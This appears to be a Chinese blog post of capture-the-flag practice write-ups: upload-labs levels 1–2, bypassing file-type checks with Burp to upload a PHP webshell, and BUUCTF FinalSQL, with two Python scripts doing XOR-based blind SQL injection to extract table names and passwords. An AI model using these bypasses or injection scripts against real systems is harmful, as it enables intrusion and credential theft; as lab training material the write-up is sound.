首页 > 其他分享 >【writeup】只是一些自己平时的练习题,不都是原创!

【writeup】只是一些自己平时的练习题,不都是原创!

时间:2022-11-27 19:11:53浏览次数:38  
标签:练习题 writeup image 平时 mid high upload low file

upload-labs 1

  • 查看源码得知只能上传jpg\png\gif格式的文件

  • 方法一:创建一个php文件然后在后面加上jpg文件后缀

  • 如:aaa.php.jpg

  • 写好php代码后,上传上去,上传成功

  • 查看后台文件确实存在

  • 方法二:上传aaa.jpg文件

  • image-20221120094505935

  • bp抓包,将后缀改为php,这样能骗过前端验证2,但又能将目标文件上传到指定位置

  • 上传成功

    image-20221120101044035

upload-labs 2

  • 先查看源码

    if (file_exists($UPLOAD_ADDR)) {
            if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
                if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                    $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                    $is_upload = true;
    
                }
    

    分析源码得知,只需要在提交是的文件类型为image/...就行

  • 这里补充一下http中的content-type的常见媒体格式类型:

    • text/html : HTML格式
    • text/plain :纯文本格式
    • text/xml : XML格式
    • image/gif :gif图片格式
    • image/jpeg :jpg图片格式
    • image/png:png图片格式
  • 这里按照第一题的思路,将后缀加jpg也可以

  • 但这里如果想上传php类型的文件,按理说是不可以的,

  • image-20221120145941088

  • 但只要用bp抓包后,就该文件头为image格式的就行

    image-20221120145823279

  • 修改为

    image-20221120150212553

  • 上传成功

    image-20221120150234337

  • 此时用菜刀执行webshell直接拿到权限

    image-20221120152555470

buuctf-FinalSQL

考察点:

盲注、脚本爆破

解题过程:

  • 做FUZZ测试,发现同样过滤了union、or、and、||、&等我们常用的关键字,但是没有过滤异或符号^。

  • 利用mysql异或注入

  • 当输入?id=1^0时,回显正常

    image-20221120173751993

  • 当输入?id=1^1时,回显error

image-20221120173809875

  • 注意关键字click和error,代码中可能会用到

  • 最后就是用python脚本爆破

  • 下面是大神写的比较好的两个脚本

    import requests
    import time
     
    url = "http://ccee8655-e836-4220-a0fa-afbfaddfd572.node4.buuoj.cn:81/search.php"
    temp = {"id": ""}
    column = ""
    for i in range(1, 1000):
        time.sleep(0.06)
        low = 32
        high = 128
        mid = (low + high) // 2
        while (low < high):
            # 库名  information_schema,mysql,performance_schema,test,geek
            #temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid)
            # 表名  F1naI1y,Flaaaaag
            #temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))>%d)^1" %(i,mid)
            # 字段名
            #temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
            # 内容
            temp["id"] = "1^(ascii(substr((select(group_concat(id,username,password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
            r = requests.get(url, params=temp)
            time.sleep(0.04)
            print(low, high, mid, ":")
            if "Click" in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if (mid == 32 or mid == 127):
            break
        column += chr(mid)
        print(column)
    
    print("All:", column)
     
    #
    
    import requests
    url = 'http://ccee8655-e836-4220-a0fa-afbfaddfd572.node4.buuoj.cn:81/search.php'
    flag = ''
    for i in range(1,250):
       low = 32
       high = 128
       mid = (low+high)//2
       while(low<high):
           #payload = 'http://ccee8655-e836-4220-a0fa-afbfaddfd572.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
           payload = "http://ccee8655-e836-4220-a0fa-afbfaddfd572.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
           res = requests.get(url=payload)
    
           if 'ERROR' in res.text:
               low = mid+1
           else:
               high = mid
           mid = (low+high)//2
       if(mid ==32 or mid ==127):
           break
       flag = flag+chr(mid)
       print(flag)
    
    

    但是第二个脚本好用,使用的主要是二分法查找,提高查找效率。

    正常情况下应该能得到flag,但都有点问题

标签:练习题,writeup,image,平时,mid,high,upload,low,file
From: https://www.cnblogs.com/limestone/p/16930353.html

相关文章